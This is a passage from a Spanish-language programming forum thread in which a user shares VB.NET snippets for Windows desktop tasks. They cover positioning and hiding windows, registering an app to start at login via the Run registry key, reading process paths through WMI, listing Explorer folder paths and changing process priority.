  186.            ''' <summary>
  187.            ''' Same as the SWP_NOOWNERZORDER flag.
  188.            ''' </summary>
  189.            ''' <remarks>SWP_NOREPOSITION</remarks>
  190.            DoNotReposition = &H200UI
  191.  
  192.            ''' <summary>
  193.            ''' Prevents the window from receiving the WM_WINDOWPOSCHANGING message.
  194.            ''' </summary>
  195.            ''' <remarks>SWP_NOSENDCHANGING</remarks>
  196.            DoNotSendChangingEvent = &H400UI
  197.  
  198.            ''' <summary>
  199.            ''' Retains the current size (ignores the cx and cy parameters).
  200.            ''' </summary>
  201.            ''' <remarks>SWP_NOSIZE</remarks>
  202.            IgnoreResize = &H1UI
  203.  
  204.            ''' <summary>
  205.            ''' Retains the current Z order (ignores the hWndInsertAfter parameter).
  206.            ''' </summary>
  207.            ''' <remarks>SWP_NOZORDER</remarks>
  208.            IgnoreZOrder = &H4UI
  209.  
  210.            ''' <summary>
  211.            ''' Displays the window.
  212.            ''' </summary>
  213.            ''' <remarks>SWP_SHOWWINDOW</remarks>
  214.            ShowWindow = &H40UI
  215.  
  216.        End Enum
  217.  
  218.        ''' <summary>
  219.        ''' Specifies a special handle to the window to precede the positioned window in the Z order.
  220.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
  221.        ''' </summary>
  222.        <Description("Enum used as 'hWndInsertAfter' parameter of 'NativeMethods.SetWindowPos' function")>
  223.        Friend Enum SpecialWindowHandles As Integer
  224.  
  225.            ''' <summary>
  226.            ''' Places the window at the top of the Z order.
  227.            ''' </summary>
  228.            Top = 0I
  229.  
  230.            ''' <summary>
  231.            ''' Places the window at the bottom of the Z order.
  232.            ''' If the hWnd parameter identifies a topmost window,
  233.            ''' the window loses its topmost status and is placed at the bottom of all other windows.
  234.            ''' </summary>
  235.            Bottom = 1I
  236.  
  237.            ''' <summary>
  238.            ''' Places the window above all non-topmost windows.
  239.            ''' The window maintains its topmost position even when it is deactivated.
  240.            ''' </summary>
  241.            TopMost = -1I
  242.  
  243.            ''' <summary>
  244.            ''' Places the window above all non-topmost windows (that is, behind all topmost windows).
  245.            ''' This flag has no effect if the window is already a non-topmost window.
  246.            ''' </summary>
  247.            NoTopMost = -2I
  248.  
  249.        End Enum
  250.  
  251. #End Region
  252.  
  253.    End Class
  254.  
  255. #End Region
  256.  
  257. #Region " Enumerations "
  258.  
  259.    ''' <summary>
  260.    ''' Specifies a screen corner.
  261.    ''' </summary>
  262.    <Description("Enum used as 'Corner' parameter of 'SetWindowPos' function")>
  263.    Friend Enum Corner As Integer
  264.  
  265.        ''' <summary>
  266.        ''' Top-Left screen corner.
  267.        ''' </summary>
  268.        TopLeft = 0I
  269.  
  270.        ''' <summary>
  271.        ''' Top-Right screen corner.
  272.        ''' </summary>
  273.        TopRight = 1I
  274.  
  275.        ''' <summary>
  276.        ''' Bottom-Left screen corner.
  277.        ''' </summary>
  278.        BottomLeft = 2I
  279.        ''' <summary>
  280.        ''' Bottom-Right screen corner.
  281.        ''' </summary>0
  282.        BottomRight = 3I
  283.  
  284.    End Enum
  285.  
  286. #End Region
  287.  
  288. #Region " Public Methods "
  289.  
  290.    ''' <summary>
  291.    ''' Set the position of a window.
  292.    ''' </summary>
  293.    ''' <param name="ProcessName">The process name.</param>
  294.    ''' <param name="Corner">The new window position, a screen corner.</param>
  295.    ''' <param name="Bounds">
  296.    ''' The screen <see cref="Rectangle"/> where the window is shown.
  297.    ''' If this parameter is empty, <see cref="Screen.PrimaryScreen"/> is used as default.
  298.    ''' </param>
  299.    Friend Shared Sub SetWindowPos(ByVal ProcessName As String,
  300.                                   ByVal Corner As Corner,
  301.                                   Optional ByVal Bounds As Rectangle = Nothing)
  302.  
  303.        Dim Rect As Rectangle  ' The specified screen bounds
  304.        Dim HWND As IntPtr     ' The process main window handle.
  305.        Dim Width As Integer   ' The process window width.
  306.        Dim Height As Integer  ' The process window height.
  307.        Dim x As Integer
  308.        Dim y As Integer
  309.  
  310.        If Bounds.IsEmpty Then
  311.            Bounds = Screen.PrimaryScreen.WorkingArea
  312.        End If
  313.  
  314.        ' Iterate the process instances.
  315.        For Each p As Process In Process.GetProcessesByName(FixProcessName(ProcessName))
  316.  
  317.            Try
  318.                ' Get the main window handle.
  319.                HWND = p.MainWindowHandle
  320.  
  321.                ' Copy the process window position and size into the Rectangle.
  322.                ' NOTE: This is not a bad practice, but 'GetWindowRect' function should use a Windows API 'RECT' structure.
  323.                NativeMethods.GetWindowRect(HWND, Rect)
  324.                Width = (Rect.Width - Rect.Left)    ' Set the window width
  325.                Height = (Rect.Height - Rect.Top) ' Set the window height
  326.  
  327.                Select Case Corner
  328.  
  329.                    Case SetWindowPosition.Corner.TopLeft
  330.                        x = Bounds.Left
  331.                        y = Bounds.Top
  332.  
  333.                    Case SetWindowPosition.Corner.TopRight
  334.                        x = Bounds.Right - Width
  335.                        y = Bounds.Top
  336.  
  337.                    Case SetWindowPosition.Corner.BottomLeft
  338.                        x = Bounds.Left
  339.                        y = Bounds.Bottom - Height
  340.  
  341.                    Case SetWindowPosition.Corner.BottomRight
  342.                        x = Bounds.Right - Width
  343.                        y = Bounds.Bottom - Height
  344.  
  345.                End Select
  346.  
  347.                ' Move the Main Window.
  348.                NativeMethods.SetWindowPos(HWND, New IntPtr(NativeMethods.SpecialWindowHandles.NoTopMost),
  349.                                           x, y, 0, 0,
  350.                                           NativeMethods.SetWindowPosFlags.IgnoreResize)
  351.  
  352.            Catch ex As Exception
  353.                Throw
  354.  
  355.            End Try
  356.  
  357.        Next
  358.  
  359.    End Sub
  360.  
  361.    ''' <summary>
  362.    ''' Set the position of a window.
  363.    ''' </summary>
  364.    ''' <param name="ProcessName">The process name.</param>
  365.    ''' <param name="X">The new X coordinate.</param>
  366.    ''' <param name="Y">The new Y coordinate.</param>
  367.    ''' <param name="Bounds">
  368.    ''' The screen <see cref="Rectangle"/> where the window is shown.
  369.    ''' If this parameter is empty, <see cref="Screen.PrimaryScreen"/> is used as default.
  370.    ''' </param>
  371.    Friend Shared Sub SetWindowPos(ByVal ProcessName As String,
  372.                             ByVal X As Integer,
  373.                             ByVal Y As Integer,
  374.                             Optional ByVal Bounds As Rectangle = Nothing)
  375.  
  376.        Dim Rect As Rectangle  ' The specified screen bounds
  377.        Dim HWND As IntPtr     ' The process main window handle.
  378.        Dim Width As Integer   ' The process window width.
  379.        Dim Height As Integer  ' The process window height.
  380.  
  381.        If Bounds.IsEmpty Then
  382.            Bounds = Screen.PrimaryScreen.WorkingArea
  383.        End If
  384.  
  385.        ' Iterate the process instances.
  386.        For Each p As Process In Process.GetProcessesByName(FixProcessName(ProcessName))
  387.  
  388.            Try
  389.                ' Get the main window handle.
  390.                HWND = p.MainWindowHandle
  391.  
  392.                ' Copy the process window position and size into the Rectangle.
  393.                ' NOTE: This is not a bad practice, but 'GetWindowRect' function should use a Windows API 'RECT' structure.
  394.                NativeMethods.GetWindowRect(HWND, Rect)
  395.                Width = (Rect.Width - Rect.Left)  ' Set the window width
  396.                Height = (Rect.Height - Rect.Top) ' Set the window height
  397.  
  398.                ' Move the Main Window.
  399.                NativeMethods.SetWindowPos(HWND, New IntPtr(NativeMethods.SpecialWindowHandles.NoTopMost),
  400.                                           x, y, 0, 0,
  401.                                           NativeMethods.SetWindowPosFlags.IgnoreResize)
  402.  
  403.            Catch ex As Exception
  404.                Throw
  405.  
  406.            End Try
  407.  
  408.        Next
  409.  
  410.    End Sub
  411.  
  412. #End Region
  413.  
  414. #Region " Private Methods "
  415.  
  416.    ''' <summary>
  417.    ''' Fixes the name of a process.
  418.    ''' </summary>
  419.    ''' <param name="name">The process name.</param>
  420.    ''' <returns>System.String.</returns>
  421.    Private Shared Function FixProcessName(ByVal name As String) As String
  422.  
  423.        If name.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
  424.            Return name.Remove(name.Length - ".exe".Length)
  425.        Else
  426.            Return name
  427.        End If
  428.  
  429.    End Function
  430.  
  431. #End Region
  432.  
  433. End Class
  434.  





Añade o elimina una aplicación de la sección 'Run' del registro, para iniciar una aplicación cuando el usuario se loguea en Windows.

Código
  1.        ' Add or remove application from Windows Startup
  2.        ' ( By Elektro )
  3.        '
  4.        ' Usage Examples :
  5.        ' AddApplicationToWindowsStartup(User.CurrentUser, Application.ProductName, Application.ExecutablePath)
  6.        ' RemoveApplicationFromWindowsStartup(User.CurrentUser, pplication.ProductName)
  7.  
  8.        ''' <summary>
  9.        ''' Specifies a registry user session.
  10.        ''' </summary>
  11.        Public Enum User As Integer
  12.  
  13.            ''' <summary>
  14.            ''' The current user session.
  15.            ''' </summary>
  16.            CurrentUser = 1I
  17.  
  18.            ''' <summary>
  19.            ''' All user sessions.
  20.            ''' </summary>
  21.            AllUsers = 2I
  22.  
  23.        End Enum
  24.  
  25.        ''' <summary>
  26.        ''' Adds an application to Windows Startup.
  27.        ''' </summary>
  28.        ''' <param name="User">Indicates the registry root key.</param>
  29.        ''' <param name="Title">Indicates the registry value name.</param>
  30.        ''' <param name="FilePath">Indicates the registry value data.</param>
  31.        Friend Shared Sub AddApplicationToWindowsStartup(ByVal User As User,
  32.                                                         ByVal Title As String,
  33.                                                         ByVal FilePath As String)
  34.  
  35.            Try
  36.                Select Case User
  37.  
  38.                    Case User.CurrentUser
  39.                        My.Computer.Registry.CurrentUser.
  40.                        OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
  41.                        SetValue(Title, FilePath, Microsoft.Win32.RegistryValueKind.String)
  42.  
  43.                    Case User.AllUsers
  44.                        My.Computer.Registry.LocalMachine.
  45.                        OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
  46.                        SetValue(Title, FilePath, Microsoft.Win32.RegistryValueKind.String)
  47.  
  48.                    Case Else
  49.                        Exit Select
  50.  
  51.                End Select
  52.  
  53.            Catch ex As Exception
  54.                Throw
  55.  
  56.            End Try
  57.  
  58.        End Sub
  59.  
  60.        ''' <summary>
  61.        ''' Removes an application from Windows Startup.
  62.        ''' </summary>
  63.        ''' <param name="User">Indicates the registry root key.</param>
  64.        ''' <param name="Title">Indicates the registry value name.</param>
  65.        Friend Shared Sub RemoveApplicationFromWindowsStartup(ByVal User As User,
  66.                                                              ByVal Title As String)
  67.            Try
  68.  
  69.                Select Case User
  70.  
  71.                    Case User.CurrentUser
  72.                        My.Computer.Registry.CurrentUser.
  73.                        OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
  74.                        DeleteValue(Title, throwOnMissingValue:=False)
  75.  
  76.                    Case User.AllUsers
  77.                        My.Computer.Registry.LocalMachine.
  78.                        OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
  79.                        DeleteValue(Title, throwOnMissingValue:=False)
  80.  
  81.                    Case Else
  82.                        Exit Select
  83.  
  84.                End Select
  85.  
  86.            Catch ex As Exception
  87.                Throw
  88.  
  89.            End Try
  90.  
  91.        End Sub





Obtiene la ruta de un proceso de 64 Bits, desde una aplicación .NET de 32 Bits.

Aviso, es un procedimiento lento, pero por el momento no conozco una mejor manera de lograrlo.

Código
  1.    ' Get x64 Process Path From x86
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.Management'
  6.    '
  7.    ' Usage Examples:
  8.    ' Dim path As String = GetX64ProcessPathFromX86("conhost.exe")
  9.    '
  10.    ''' <summary>
  11.    ''' Gets the process path of an x64 process from an x86 .NET application.
  12.    ''' </summary>
  13.    ''' <param name="ProcessName">Indicates the name of the process.</param>
  14.    ''' <returns>The process path.</returns>
  15.    Friend Shared Function GetX64ProcessPathFromX86(ByVal ProcessName As String) As String
  16.  
  17.        Dim wmiQuery As String = String.Format("SELECT ExecutablePath FROM Win32_Process Where Name = '{0}.exe'",
  18.                                               If(ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase),
  19.                                                  ProcessName.Remove(ProcessName.Length - ".exe".Length),
  20.                                                  ProcessName))
  21.  
  22.        Using searcher As New ManagementObjectSearcher(queryString:=wmiQuery)
  23.  
  24.            Using results As ManagementObjectCollection = searcher.[Get]
  25.  
  26.                If results.Count <> 0I Then
  27.  
  28.                    Return DirectCast(DirectCast(results(0I), ManagementBaseObject).
  29.                                      Properties("ExecutablePath").Value, String)
  30.  
  31.                Else
  32.                    Return String.Empty
  33.  
  34.                End If
  35.  
  36.            End Using
  37.  
  38.        End Using
  39.  
  40.    End Function



Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Octubre 2014, 06:39 am
Modifica el estado de una ventana.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 10-02-2014
  4. ' ***********************************************************************
  5. ' <copyright file="SetWindowState.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Dim HWND As IntPtr = Process.GetProcessesByName("devenv").First.MainWindowHandle
  13. '
  14. 'SetWindowState.SetWindowState(HWND, SetWindowState.WindowState.Hide)
  15. 'SetWindowState.SetWindowState("devenv", SetWindowState.WindowState.Restore, Recursivity:=False)
  16.  
  17. #End Region
  18.  
  19. #Region " Imports "
  20.  
  21. Imports System.Runtime.InteropServices
  22.  
  23. #End Region
  24.  
  25. ''' <summary>
  26. ''' Sets the state of a window.
  27. ''' </summary>
  28. Public NotInheritable Class SetWindowState
  29.  
  30. #Region " P/Invoke "
  31.  
  32.    ''' <summary>
  33.    ''' Platform Invocation methods (P/Invoke), access unmanaged code.
  34.    ''' This class does not suppress stack walks for unmanaged code permission.
  35.    ''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/>  must not be applied to this class.
  36.    ''' This class is for methods that can be used anywhere because a stack walk will be performed.
  37.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
  38.    ''' </summary>
  39.    Protected NotInheritable Class NativeMethods
  40.  
  41. #Region " Methods "
  42.  
  43.        ''' <summary>
  44.        ''' Retrieves a handle to the top-level window whose class name and window name match the specified strings.
  45.        ''' This function does not search child windows.
  46.        ''' This function does not perform a case-sensitive search.
  47.        ''' To search child windows, beginning with a specified child window, use the FindWindowEx function.
  48.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633499%28v=vs.85%29.aspx
  49.        ''' </summary>
  50.        ''' <param name="lpClassName">The class name.
  51.        ''' If this parameter is NULL, it finds any window whose title matches the lpWindowName parameter.</param>
  52.        ''' <param name="lpWindowName">The window name (the window's title).
  53.        ''' If this parameter is NULL, all window names match.</param>
  54.        ''' <returns>If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
  55.        ''' If the function fails, the return value is NULL.</returns>
  56.        <DllImport("user32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False)>
  57.        Friend Shared Function FindWindow(
  58.           ByVal lpClassName As String,
  59.           ByVal lpWindowName As String
  60.        ) As IntPtr
  61.        End Function
  62.  
  63.        ''' <summary>
  64.        ''' Retrieves a handle to a window whose class name and window name match the specified strings.
  65.        ''' The function searches child windows, beginning with the one following the specified child window.
  66.        ''' This function does not perform a case-sensitive search.
  67.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633500%28v=vs.85%29.aspx
  68.        ''' </summary>
  69.        ''' <param name="hwndParent">
  70.        ''' A handle to the parent window whose child windows are to be searched.
  71.        ''' If hwndParent is NULL, the function uses the desktop window as the parent window.
  72.        ''' The function searches among windows that are child windows of the desktop.
  73.        ''' </param>
  74.        ''' <param name="hwndChildAfter">
  75.        ''' A handle to a child window.
  76.        ''' The search begins with the next child window in the Z order.
  77.        ''' The child window must be a direct child window of hwndParent, not just a descendant window.
  78.        ''' If hwndChildAfter is NULL, the search begins with the first child window of hwndParent.
  79.        ''' </param>
  80.        ''' <param name="strClassName">
  81.        ''' The window class name.
  82.        ''' </param>
  83.        ''' <param name="strWindowName">
  84.        ''' The window name (the window's title).
  85.        ''' If this parameter is NULL, all window names match.
  86.        ''' </param>
  87.        ''' <returns>
  88.        ''' If the function succeeds, the return value is a handle to the window that has the specified class and window names.
  89.        ''' If the function fails, the return value is NULL.
  90.        ''' </returns>
  91.        <DllImport("User32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False)>
  92.        Friend Shared Function FindWindowEx(
  93.           ByVal hwndParent As IntPtr,
  94.           ByVal hwndChildAfter As IntPtr,
  95.           ByVal strClassName As String,
  96.           ByVal strWindowName As String
  97.        ) As IntPtr
  98.        End Function
  99.  
  100.        ''' <summary>
  101.        ''' Retrieves the identifier of the thread that created the specified window
  102.        ''' and, optionally, the identifier of the process that created the window.
  103.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633522%28v=vs.85%29.aspx
  104.        ''' </summary>
  105.        ''' <param name="hWnd">A handle to the window.</param>
  106.        ''' <param name="ProcessId">
  107.        ''' A pointer to a variable that receives the process identifier.
  108.        ''' If this parameter is not NULL, GetWindowThreadProcessId copies the identifier of the process to the variable;
  109.        ''' otherwise, it does not.
  110.        ''' </param>
  111.        ''' <returns>The identifier of the thread that created the window.</returns>
  112.        <DllImport("user32.dll")>
  113.        Friend Shared Function GetWindowThreadProcessId(
  114.            ByVal hWnd As IntPtr,
  115.            ByRef ProcessId As Integer
  116.        ) As Integer
  117.        End Function
  118.  
  119.        ''' <summary>
  120.        ''' Sets the specified window's show state.
  121.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633548%28v=vs.85%29.aspx
  122.        ''' </summary>
  123.        ''' <param name="hwnd">A handle to the window.</param>
  124.        ''' <param name="nCmdShow">Controls how the window is to be shown.</param>
  125.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  126.        <DllImport("User32", SetLastError:=False)>
  127.        Friend Shared Function ShowWindow(
  128.           ByVal hwnd As IntPtr,
  129.           ByVal nCmdShow As WindowState
  130.        ) As Boolean
  131.        End Function
  132.  
  133. #End Region
  134.  
  135.    End Class
  136.  
  137. #End Region
  138.  
  139. #Region " Enumerations "
  140.  
  141.    ''' <summary>
  142.    ''' Controls how the window is to be shown.
  143.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633548%28v=vs.85%29.aspx
  144.    ''' </summary>
  145.    Friend Enum WindowState As Integer
  146.  
  147.        ''' <summary>
  148.        ''' Hides the window and activates another window.
  149.        ''' </summary>
  150.        Hide = 0I
  151.  
  152.        ''' <summary>
  153.        ''' Activates and displays a window.
  154.        ''' If the window is minimized or maximized, the system restores it to its original size and position.
  155.        ''' An application should specify this flag when displaying the window for the first time.
  156.        ''' </summary>
  157.        Normal = 1I
  158.  
  159.        ''' <summary>
  160.        ''' Activates the window and displays it as a minimized window.
  161.        ''' </summary>
  162.        ShowMinimized = 2I
  163.  
  164.        ''' <summary>
  165.        ''' Maximizes the specified window.
  166.        ''' </summary>
  167.        Maximize = 3I
  168.  
  169.        ''' <summary>
  170.        ''' Activates the window and displays it as a maximized window.
  171.        ''' </summary>      
  172.        ShowMaximized = Maximize
  173.  
  174.        ''' <summary>
  175.        ''' Displays a window in its most recent size and position.
  176.        ''' This value is similar to <see cref="WindowState.Normal"/>, except the window is not actived.
  177.        ''' </summary>
  178.        ShowNoActivate = 4I
  179.  
  180.        ''' <summary>
  181.        ''' Activates the window and displays it in its current size and position.
  182.        ''' </summary>
  183.        Show = 5I
  184.  
  185.        ''' <summary>
  186.        ''' Minimizes the specified window and activates the next top-level window in the Z order.
  187.        ''' </summary>
  188.        Minimize = 6I
  189.  
  190.        ''' <summary>
  191.        ''' Displays the window as a minimized window.
  192.        ''' This value is similar to <see cref="WindowState.ShowMinimized"/>, except the window is not activated.
  193.        ''' </summary>
  194.        ShowMinNoActive = 7I
  195.  
  196.        ''' <summary>
  197.        ''' Displays the window in its current size and position.
  198.        ''' This value is similar to <see cref="WindowState.Show"/>, except the window is not activated.
  199.        ''' </summary>
  200.        ShowNA = 8I
  201.  
  202.        ''' <summary>
  203.        ''' Activates and displays the window.
  204.        ''' If the window is minimized or maximized, the system restores it to its original size and position.
  205.        ''' An application should specify this flag when restoring a minimized window.
  206.        ''' </summary>
  207.        Restore = 9I
  208.  
  209.        ''' <summary>
  210.        ''' Sets the show state based on the SW_* value specified in the STARTUPINFO structure
  211.        ''' passed to the CreateProcess function by the program that started the application.
  212.        ''' </summary>
  213.        ShowDefault = 10I
  214.  
  215.        ''' <summary>
  216.        ''' <b>Windows 2000/XP:</b>
  217.        ''' Minimizes a window, even if the thread that owns the window is not responding.
  218.        ''' This flag should only be used when minimizing windows from a different thread.
  219.        ''' </summary>
  220.        ForceMinimize = 11I
  221.  
  222.    End Enum
  223.  
  224. #End Region
  225.  
  226. #Region " Public Methods "
  227.  
  228.    ''' <summary>
  229.    ''' Set the state of a window by an HWND.
  230.    ''' </summary>
  231.    ''' <param name="WindowHandle">A handle to the window.</param>
  232.    ''' <param name="WindowState">The state of the window.</param>
  233.    ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  234.    Friend Shared Function SetWindowState(ByVal WindowHandle As IntPtr,
  235.                                          ByVal WindowState As WindowState) As Boolean
  236.  
  237.        Return NativeMethods.ShowWindow(WindowHandle, WindowState)
  238.  
  239.    End Function
  240.  
  241.    ''' <summary>
  242.    ''' Set the state of a window by a process name.
  243.    ''' </summary>
  244.    ''' <param name="ProcessName">The name of the process.</param>
  245.    ''' <param name="WindowState">The state of the window.</param>
  246.    ''' <param name="Recursivity">If set to <c>false</c>, only the first process instance will be processed.</param>
  247.    Friend Shared Sub SetWindowState(ByVal ProcessName As String,
  248.                                     ByVal WindowState As WindowState,
  249.                                     Optional ByVal Recursivity As Boolean = False)
  250.  
  251.        If ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
  252.            ProcessName = ProcessName.Remove(ProcessName.Length - ".exe".Length)
  253.        End If
  254.  
  255.        Dim pHandle As IntPtr = IntPtr.Zero
  256.        Dim pID As Integer = 0I
  257.  
  258.        Dim Processes As Process() = Process.GetProcessesByName(ProcessName)
  259.  
  260.        ' If any process matching the name is found then...
  261.        If Processes.Count = 0 Then
  262.            Exit Sub
  263.        End If
  264.  
  265.        For Each p As Process In Processes
  266.  
  267.            ' If Window is visible then...
  268.            If p.MainWindowHandle <> IntPtr.Zero Then
  269.                SetWindowState(p.MainWindowHandle, WindowState)
  270.  
  271.            Else ' Window is hidden
  272.  
  273.                ' Check all open windows (not only the process we are looking),
  274.                ' begining from the child of the desktop, phandle = IntPtr.Zero initialy.
  275.                While pID <> p.Id ' Check all windows.
  276.  
  277.                    ' Get child handle of window who's handle is "pHandle".
  278.                    pHandle = NativeMethods.FindWindowEx(IntPtr.Zero, pHandle, Nothing, Nothing)
  279.  
  280.                    ' Get ProcessId from "pHandle".
  281.                    NativeMethods.GetWindowThreadProcessId(pHandle, pID)
  282.  
  283.                    ' If the ProcessId matches the "pID" then...
  284.                    If pID = p.Id Then
  285.  
  286.                        NativeMethods.ShowWindow(pHandle, WindowState)
  287.  
  288.                        If Not Recursivity Then
  289.                            Exit For
  290.                        End If
  291.  
  292.                    End If
  293.  
  294.                End While
  295.  
  296.            End If
  297.  
  298.        Next p
  299.  
  300.    End Sub
  301.  
  302. #End Region
  303.  
  304. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Octubre 2014, 01:48 am
Como obtener la ruta completa de los directorios de la barra de dirección de cada instancia de Windows Explorer (explorer.exe)

Código
  1.    ' ( By Elektro )
  2.    '
  3.    ' Instructions:
  4.    ' 1. Add a reference to 'Microsoft Shell Controls and Automation'
  5.    '
  6.    ' Usage Examples:
  7.    ' Dim paths As List(Of String) = GetWindowsExplorerPaths()
  8.    '
  9.    ''' <summary>
  10.    ''' Gets the full-path in the adressbar of each Windows Explorer instance.
  11.    ''' MSDN Shell Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb776890%28v=vs.85%29.aspx
  12.    ''' </summary>
  13.    ''' <returns>A list containing the paths.</returns>
  14.    Friend Shared Function GetWindowsExplorerPaths() As List(Of String)
  15.  
  16.        Dim exShell As New Shell32.Shell
  17.        Dim folder As Shell32.Folder
  18.        Dim path As String
  19.        Dim pathList As New List(Of String)
  20.  
  21.        For Each Window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
  22.  
  23.            folder = DirectCast(Window.Document, Shell32.ShellFolderView).Folder
  24.            path = DirectCast(folder, Shell32.Folder2).Self.Path
  25.            pathList.Add(path)
  26.  
  27.        Next Window
  28.  
  29.        Return pathList
  30.  
  31.    End Function

PD: Lo mismo quizás se pueda llevar a cabo con la librería WindowsAPICodePack de Microsoft, le echaré un ojo...


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Octubre 2014, 03:11 am
Como implementar en menos de 5 segundos: un ComboBox para cambiar la prioridad del proceso actual.

Nota: Se puede hacer de manera más directa sin asignar los nombres, pero entonces perderiamos el orden de prioridad de menor a mayor.

Código
  1. Public Class PriorityList_TestForm
  2.  
  3.    ''' <summary>
  4.    ''' Contains the process priority items.  
  5.    ''' </summary>
  6.    Private ReadOnly PriorityList As String() =
  7.    {
  8.        ProcessPriorityClass.Idle.ToString,
  9.        ProcessPriorityClass.BelowNormal.ToString,
  10.        ProcessPriorityClass.Normal.ToString,
  11.        ProcessPriorityClass.AboveNormal.ToString,
  12.        ProcessPriorityClass.High.ToString,
  13.        ProcessPriorityClass.RealTime.ToString
  14.    }
  15.  
  16.    ''' <summary>
  17.    ''' Handles the Load event of the PriorityList_TestForm Form.
  18.    ''' </summary>
  19.    Private Shadows Sub Load() Handles MyBase.Load
  20.  
  21.        ' Add the priority items to list.
  22.        Me.ComboBox1.Items.AddRange(Me.PriorityList)
  23.  
  24.    End Sub
  25.  
  26.    ''' <summary>
  27.    ''' Handles the SelectedIndexChanged event of the ComboBox1 control.
  28.    ''' </summary>
  29.    ''' <param name="sender">The source of the event.</param>
  30.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  31.    Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs) _
  32.    Handles ComboBox1.SelectedIndexChanged
  33.  
  34.        ' Change thecurrent  process priority.
  35.        Process.GetCurrentProcess.PriorityClass =
  36.            [Enum].Parse(GetType(ProcessPriorityClass),
  37.                         DirectCast(sender, ComboBox).Text,
  38.                         ignoreCase:=True)
  39.  
  40.    End Sub
  41.  
  42. End Class




Lo mismo, pero usando Telerik:

Código
  1. Imports Telerik.WinControls.UI
  2. Imports Telerik.WinControls.UI.Data
  3.  
  4. Public Class PriorityList_RadTestForm
  5.  
  6.    ''' <summary>
  7.    ''' Contains the process priority items.  
  8.    ''' </summary>
  9.    Private ReadOnly PriorityList As New List(Of RadListDataItem) From
  10.    {
  11.        New RadListDataItem With {
  12.            .Text = ProcessPriorityClass.Idle.ToString,
  13.            .Value = ProcessPriorityClass.Idle
  14.        },
  15.        New RadListDataItem With {
  16.            .Text = ProcessPriorityClass.BelowNormal.ToString,
  17.            .Value = ProcessPriorityClass.BelowNormal
  18.        },
  19.        New RadListDataItem With {
  20.            .Text = ProcessPriorityClass.Normal.ToString,
  21.            .Value = ProcessPriorityClass.Normal
  22.        },
  23.        New RadListDataItem With {
  24.            .Text = ProcessPriorityClass.AboveNormal.ToString,
  25.            .Value = ProcessPriorityClass.AboveNormal
  26.        },
  27.        New RadListDataItem With {
  28.            .Text = ProcessPriorityClass.High.ToString,
  29.            .Value = ProcessPriorityClass.High
  30.        },
  31.        New RadListDataItem With {
  32.            .Text = ProcessPriorityClass.RealTime.ToString,
  33.            .Value = ProcessPriorityClass.RealTime
  34.        }
  35.    }
  36.  
  37.    ''' <summary>
  38.    ''' Handles the Initialized event of the RadDropDownList1 control.
  39.    ''' </summary>
  40.    ''' <param name="sender">The source of the event.</param>
  41.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  42.    Private Sub RadDropDownList1_Initialized(ByVal sender As Object, ByVal e As EventArgs) _
  43.    Handles RadDropDownList1.Initialized
  44.  
  45.        ' Add the priority items to list.
  46.        DirectCast(sender, RadDropDownList).Items.AddRange(PriorityList)
  47.  
  48.    End Sub
  49.  
  50.    ''' <summary>
  51.    ''' Handles the SelectedIndexChanged event of the RadDropDownList1 control.
  52.    ''' </summary>
  53.    ''' <param name="sender">The source of the event.</param>
  54.    ''' <param name="e">The <see cref="Telerik.WinControls.UI.Data.PositionChangedEventArgs"/> instance containing the event data.</param>
  55.    Private Sub RadDropDownList1_SelectedIndexChanged(ByVal sender As Object, ByVal e As PositionChangedEventArgs) _
  56.    Handles RadDropDownList1.SelectedIndexChanged
  57.  
  58.        ' Change thecurrent  process priority.
  59.        Process.GetCurrentProcess.PriorityClass =
  60.            DirectCast(DirectCast(sender, RadDropDownList).SelectedItem.Value, ProcessPriorityClass)
  61.  
  62.    End Sub
  63.  
  64. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Octubre 2014, 19:55 pm
Como actualizar el estado del explorador de Windows después de un cambio en el sistema.

Código
  1.    ' Refresh Windows Explorer
  2.    ' ( by Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to "Microsoft Shell And Controls Automation"
  6.    '
  7.    ' Usage Examples:
  8.    ' RefreshWindowsExplorer()
  9.  
  10.    ''' <summary>
  11.    ''' Refreshes all the Windows Explorer instances.
  12.    ''' </summary>
